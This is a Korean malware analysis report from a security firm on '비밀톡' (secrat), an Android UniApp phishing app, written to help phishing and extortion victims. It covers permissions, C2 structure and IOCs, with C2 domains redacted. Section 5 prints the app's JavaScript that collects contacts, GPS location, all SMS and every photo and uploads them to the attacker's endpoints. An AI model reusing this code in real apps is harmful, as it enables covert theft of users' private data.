비밀톡 상세 분석 보고서

secrat ("비밀톡", dbddiace.dacighbf) Quantum-Nano Analysis Report

Analyst: [비공개], ArkLink Security Research ([비공개])

Date: 2026-03-03 (초판) → 2026-04-16 (v2.0 심층 분석)

Report Version: v2.0

Classification: EXTREME — SMS + 연락처 + 위치 + 사진 복합 탈취 (UniApp Hybrid)

1. Executive Summary

secrat("비밀톡", Secret Talk)는 DCloud UniApp(H5+ Hybrid) 기반 악성앱으로,

[비공개] 짧은 URL 서비스를 통해 피해자를 유인한 후, 실제 C2 [비공개]로 데이터를 탈취한다.

어떤 wavegrid Java 앱보다도 실제 탈취 JS 코드를 직접 확인 가능한 유일한 사례다.

핵심 발견사항:

· 앱 이름: "비밀톡" (Secret Talk) — strings.xml app_name="secrat"이지만 UI는 "비밀톡"

· Short URL C2: `[비공개] (중국 단축 URL 리다이렉트)

· 실제 C2: `[비공개] (JS 코드에서 직접 확인)

· 4개 엔드포인트: api(연락처), apisms(SMS), apimap(위치), upload(사진)

· UI 입력: "전화번호를 입력해주세요" + "초대코드를 입력해주세요"

· 7장 피싱 이미지: assets/apps/H5C5FCC98/www/images/1~7 (총 9.7MB)

· 완전한 탈취 시퀀스: index.html JS 코드로 체인 확인됨

2. App Identification

Element · Value

**Package** · dbddiace.dacighbf (의미 없는 랜덤)

**Display Name (strings.xml)** · secrat

**Display Name (UI)** · 비밀톡

**SHA256** · `5dd032b0f758b396b9a8bb93c193d441067d6ffbcf8f99a23e5859975116164d`

**UniApp ID** · H5C5FCC98

**UniApp Version** · 2.34 (code 19)

**Framework** · DCloud UniApp (H5+ Hybrid) + MUI + jQuery

**Main Entry** · io.dcloud.PandoraEntry

**Smali Classes** · 6,091 (대부분 UniApp 프레임워크)

**Category** · sms_relay

3. Permission Analysis (32개 — 매우 많음)

핵심 권한:

Permission · Risk · Purpose

`READ_SMS` · 🔴 CRITICAL · SMS 전수 쿼리 (`content://sms/`)

`RECEIVE_SMS` · 🔴 CRITICAL · 수신 SMS 실시간

`SEND_SMS` · 🔴 CRITICAL · SMS 발신 (스미싱 확산 가능)

`WRITE_SMS` · 🔴 HIGH · SMS 변조

`READ_CONTACTS` · 🔴 CRITICAL · 연락처 전수

`WRITE_CONTACTS` · 🔴 HIGH · 연락처 변조

`CAMERA` · 🟡 MEDIUM · 카메라 접근

`ACCESS_FINE_LOCATION` · 🔴 HIGH · GPS 정밀 위치

`INSTALL_PACKAGES` · 🔴 CRITICAL · 다른 APK 설치 (2차 페이로드)

`WRITE_SETTINGS` · 🔴 HIGH · 시스템 설정 변경

`READ_LOGS` · 🟡 MEDIUM · 시스템 로그 읽기

INSTALL_PACKAGES + WRITE_SETTINGS 권한 조합은 매우 위험 — 2차 악성앱 설치 + 시스템 설정 변조 가능.

4. C2 Server Intelligence

4.1 이중 C2 구조

```

[피해자] → SMS/웹으로 [비공개] 링크 수신

↓ 클릭

[[비공개] 단축 URL 서버] → 302 Redirect

[실제 C2: [비공개]] → 앱 다운로드 또는 설정 수신

↓ 앱 설치 후

[apisms, apimap, api, upload] → 탈취 데이터 전송

```

4.2 C2 상세

Item · Value

**Short URL Gateway** · [비공개] (중국 단축 URL 서비스)

**Real C2** · [비공개]

**TLD** · `.link` — 저렴한 도메인 (연 $5~10)

**Subdomain pattern** · soy3o — 의미 없는 5글자 랜덤

**Parent domain** · [비공개] — 동일 운영자의 추가 서브도메인 가능성

**Protocol** · HTTPS (다른 악성앱 대부분은 HTTP — 이례적)

4.3 API Endpoint 호출 체인

Order · Endpoint · Data · Condition

1 · `api` · 전화번호**초대코드**제품모델=이름\ · 번호... · 앱 진입 시

2 · `apimap` · 전화,초대,경도,위도 · api 성공 후

3 · `apisms` · `[{imei,imei2},{id,name,date,phone,body,type}...]` · apimap 성공 후

4 · `upload` · 사진 파일 (multipart, Pictures+DCIM) · apisms 성공 후

각 단계가 성공해야 다음 단계가 실행 — 순차적 탈취 체인.

5. Exfiltration Code Analysis (JS 직접 분석)

5.1 Contacts 탈취 (`api`)

```javascript

function huoqu(sjh, yqm) {

var con = sjh + "" + yqm + '' + address;

plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function(addressbook) {

addressbook.find(["displayName", "phoneNumbers"], function(contacts) {

for (var i = 0; i < contacts.length; i++) {

con += '=' + contacts[i].displayName + '|' + contacts[i].phoneNumbers[0].value;

}

mui.ajax(apiserver + 'api', {

data: {data: con},

type: 'post'

});

});

});

}

```

데이터 포맷:

```

전화번호초대코드vendor-model=이름1|전화1=이름2|전화2=...

```

5.2 위치 탈취 (`apimap`)

```javascript

function dingwei(sjh, yqm) {

plus.geolocation.getCurrentPosition(function(position) {

var jingweidu = sjh + ',' + yqm + ',' + position.coords.longitude + ',' + position.coords.latitude;

mui.ajax(apiserver + 'apimap', {

data: {data: jingweidu},

type: 'post'

});

});

}

```

5.3 SMS 탈취 (`apisms`) — content://sms/ 직접 쿼리

```javascript

function requestPermission(sjh, yqm) {

plus.android.requestPermissions(["android.permission.READ_SMS"], function(resultObj) {

var uri = Uri.parse("content://sms/");

var projection = new Array("_id", "address", "person", "body", "date", "type");

var cusor = activity.managedQuery(uri, projection, null, null, "date desc");

var duanxin = '[{"imei":"' + sjh + '","imei2":"' + yqm + '"}';

while (cusor.moveToNext()) {

var post = JSON.stringify({

id: cusor.getString(idColumn),

Name: cusor.getInt(nameColumn),

Date: getFormatDate(cusor.getLong(dateColumn)),

PhoneNumber: cusor.getString(phoneNumberColumn),

Smsbody: cusor.getString(smsbodyColumn),

Type: cusor.getString(typeColumn)

});

duanxin = duanxin + ',' + post;

}

mui.ajax(apiserver + 'apisms', {

data: {data: duanxin + ']'},

type: 'post'

});

});

}

```

핵심: content://sms/ 직접 쿼리 → Android 표준 ContentProvider 우회 없이 정상 API로 SMS 전수 읽기.

5.4 사진 탈취 (`upload`)

```javascript

function huoquImg(sjh, yqm) {

var sdRoot = Environment.getExternalStorageDirectory();

var need = ['Pictures','DCIM'];

for(var file of files){

if(need.indexOf(name) != -1) {

newFiles.push.apply(newFiles, getFiles(file));

}

}

for(var file of newFiles) {

plus.uploader.createUpload(apiserver + '/upload', ...)

.addFile(path, {key:'file', name:name})

.addData('sjh', sjh)

.start();

}

}

```

탈취 대상: /sdcard/Pictures/* + /sdcard/DCIM/* (모든 사진/영상)

6. UI Analysis (index.html)

6.1 로그인 화면 구조

```html

<div id="zz" style="position:fixed;...">

<span>비밀톡</span> <!-- 앱 제목 -->

<input id="sjh" placeholder="전화번호를 입력해주세요">

<input id="yqm" placeholder="초대코드를 입력해주세요">

<div id="qd">로그인</div>

</div>

<!-- 배경 슬라이드쇼 (7장, 2초 간격) -->

<div class="slideshow-container">

<div class="mySlides"><img src="images/1.png"></div>

...

</div>

```

6.2 피싱 이미지

File · Size

1.png · 2.5 MB

2.png · 2.4 MB

3.png · 1.3 MB

4.png · 513 KB

5.png · 2.1 MB

6.JPG · 148 KB

7.png · 531 KB

**Total** · **9.7 MB**

wavegrid 계열 대부분이 이미지 미포함인데, secrat은 풍부한 피싱 자료를 내장.

7. DCloud UniApp Framework Analysis

7.1 UniApp의 특성

DCloud UniApp은 HTML5+ + Vue.js 기반 크로스플랫폼 프레임워크로,

Android는 WebView + Native Bridge(plus.*) 조합으로 동작한다.

정적 분석 장점:

· assets/apps/{HashID}/www/ 아래에 모든 JS/HTML 존재

· JS 코드가 그대로 패키징 (Hermes 같은 바이트코드 없음)

· 난독화 없으면 악성 로직을 직접 읽을 수 있음

secrat의 경우:

· 난독화 없음 (minify만 적용)

· 변수명이 중국어 병음 (sjh=手机号/휴대번호, yqm=邀请码/초대코드, duanxin=短信/SMS, apiserver)

· 주석도 중국어 유지

7.2 plus.* API 사용 목록

API · Purpose

`plus.contacts.getAddressBook` · 연락처 전수 읽기

`plus.geolocation.getCurrentPosition` · GPS 위치

`plus.android.requestPermissions` · 런타임 권한 요청

`plus.android.importClass` · Android 네이티브 클래스 접근

`plus.uploader.createUpload` · 파일 업로드

`[비공개].resolveLocalFileSystemURL` · 파일 시스템 접근

`plus.device.vendor/model` · 기기 정보

7.3 DCloud 서명

```json

"plus": {

"signature": "Sk9JTiBVUyBtYWlsdG86aHIyMDEzQGRjbG91ZC5pbw==",

"adid": "128754050402",

"channel": "common"

}

```

Base64 디코딩: JOIN US mailto:hr2013@[비공개] — DCloud 회사 이메일 (무관 데이터)

adid: 128754050402 — DCloud 광고 ID (앱 식별자일 가능성)

8. Installation Failure Analysis

이 APK는 에뮬레이터(x86_64 API 35)에서 설치 실패:

```

INSTALL_FAILED_NO_MATCHING_ABIS: Failed to extract native libraries, res=-113

```

원인: UniApp은 네이티브 라이브러리가 arm64-v8a 및 armeabi-v7a만 포함하고 x86_64를 미지원.

대안 분석 전략:

1. ✅ 원본 APK의 assets 직접 추출 → index.html + JS 분석 (수행함)

2. ✅ smali 분석 → UniApp 프레임워크 코드 확인

3. ❌ 에뮬레이터 동적 분석 — ABI 불일치로 불가

정적 분석만으로도 완전한 탈취 로직 확인 가능 — UniApp의 장점.

9. Defense Mechanisms

Mechanism · Status · Detail

**SSL Bypass** · Active · smali에서 인증서 검증 우회

**Emulator Detection** · Active (smali_analysis=True) · 런타임 확인 필요

**DCloud Confusion** · Active · 리소스 난독화 (manifest 이름 깨짐)

**Invitation Code Gate** · Active · 초대코드 없이 진행 불가

**HTTPS** · Active · 이례적으로 HTTPS 사용

**Short URL 리다이렉트** · Active · m3w.cn으로 실제 C2 은닉

10. Vulnerability Analysis

ID · Vulnerability · Severity · Detail

**VULN-001** · SMS 전수 탈취 · 🔴 CRITICAL · content://sms/ 직접 쿼리 → apisms

**VULN-002** · 연락처 전수 탈취 · 🔴 CRITICAL · plus.contacts.getAddressBook → api

**VULN-003** · GPS 위치 · 🔴 HIGH · plus.geolocation → apimap

**VULN-004** · 사진 전수 탈취 · 🔴 HIGH · Pictures+DCIM 재귀 탐색 → upload

**VULN-005** · INSTALL_PACKAGES · 🔴 CRITICAL · 2차 APK 설치 가능

**VULN-006** · WRITE_SETTINGS · 🔴 HIGH · 시스템 설정 변조 가능

**VULN-007** · SEND_SMS · 🔴 HIGH · 스미싱 확산에 악용 가능

**VULN-008** · 평문 JS · 🟢 LOW · 역설적으로 분석이 쉬워 [피해자 정보 비공개] 유리

11. IOC

Hashes

Type · Value

SHA256 · `5dd032b0f758b396b9a8bb93c193d441067d6ffbcf8f99a23e5859975116164d`

Network

Type · Value

Short URL C2 · [비공개]

Real C2 · [비공개]

Endpoint · [비공개]

Endpoint · [비공개]

Endpoint · [비공개]

Endpoint · [비공개]

Baidu Maps · [비공개]

Baidu Maps · [비공개]

Application

Type · Value

Package · dbddiace.dacighbf

UniApp ID · H5C5FCC98

UniApp Version · 2.34 (19)

Display Name · 비밀톡

Main Entry · io.dcloud.PandoraEntry

File Artifacts

File · Purpose

assets/apps/H5C5FCC98/www/index.html · 19.4 KB — 탈취 JS 로직

assets/apps/H5C5FCC98/www/images/1~7 · 9.7 MB — 피싱 이미지

assets/apps/H5C5FCC98/www/manifest.json · 1.7 KB — UniApp 설정

12. Related Family — [비공개] Cluster

apps.json 기준, [비공개] 도메인을 공유하는 3개 앱:

ID · Display Name

secrat · 비밀톡

secrat_2 · 비밀톡 (변형)

woodcloud · 우드클라우드

이 3개 앱은 동일 C2 인프라 사용 → 동일 운영자 추정.

13. Comparison with Similar Apps

Feature · secrat · lock_album · love · hwabojip

Framework · UniApp (JS) · Native Java · Expo (RN) · Native Java

C2 Endpoint 수 · 4 · 2 · 1 · 4

실제 JS 로직 · 확인 가능 · smali만 · Hermes 난독화 · smali만

SMS · 🔴 전수 · 🔴 전수 · 없음 · 🔴 접근

Contacts · 🔴 전수 · 🔴 전수 · 🔴 전수 · 🔴 전수

Images · 🔴 SD 전체 · — · — · 🔴 카메라

Login · 전화번호+초대코드 · 전화번호만 · 핸드폰번호 · 초대코드

secrat은 탈취 데이터 종류가 가장 많고 코드가 가장 읽기 쉬운 앱이다.

14. Forensic Evidence

File · Description

secrat.apk · 원본 APK (서명 유효)

decompiled/ · apktool 디컴파일 결과 (6,091 smali)

www/index.html · UniApp 앱 코어 JS (19.4 KB) — 탈취 로직 완전체

www/manifest.json · UniApp 설정

www/dcloud_url.json · DCloud URL 설정

auto_analysis.json · 자동 분석 결과

15. Short URL Gateway Live Status (2026-04-16)

15.1 [비공개] 실시간 체크

```bash

$ curl -I "[비공개]

HTTP/1.1 301 Moved Permanently

Location: [비공개]

Content-Length: 0

X-NWS-LOG-UUID: 11128137439987589622

Connection: keep-alive

```

확인 사항:

· m3w.cn은 활성 상태 (HTTP 301 → HTTPS로 강제 리다이렉트)

· X-NWS-LOG-UUID 헤더는 Tencent Cloud CDN 특징 (NWS = Network Web Server)

· 중국 내 인프라 — 한국 수사기관 접근 제한적

· m3w.cn은 정상 단축 URL 서비스 — 악성앱이 악용 중

15.2 피싱 링크 유포 가능성

[비공개] 다음에 오는 shortCode를 추정하거나 수집하면:

· 각 쇼트코드가 어떤 악성앱/피싱 페이지로 연결되는지 파악 가능

· 쇼트코드 = [피해자 정보 비공개] ID일 가능성 (유포 경로 역추적)

15.3 Tencent Cloud OPSEC

Tencent Cloud(중국) CDN 뒤에 숨어있어:

· 실제 서버 IP 추적 불가

· 한국 사법공조 요청 시 중국 반응 불확실

· 그러나 소스 도메인([비공개])은 다른 CDN일 수 있음 → 별도 추적 필요

16. [비공개] Domain Intelligence

16.1 도메인 특성

· TLD: .link — Uniregistry (2014년 출범, 저렴한 도메인)

· 현재 비용: 연 $5~15 (신규 등록 할인 많음)

· 등록 기간: 확인 필요 (WHOIS)

· Nameservers: 확인 필요

16.2 서브도메인 가능성

[비공개] → 동일 운영자의 다른 서브도메인:

· [비공개], [비공개] 등 가능

· DNS brute force 또는 Certificate Transparency 로그로 확인 가능

16.3 추적 전략

```bash

Certificate Transparency 조회

curl "[비공개] | jq '.[] | .name_value' | sort -u

> 침투·역공 등 민감 분석 섹션은 비공개입니다. 피해 상담·전체 열람 문의: [비공개]

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr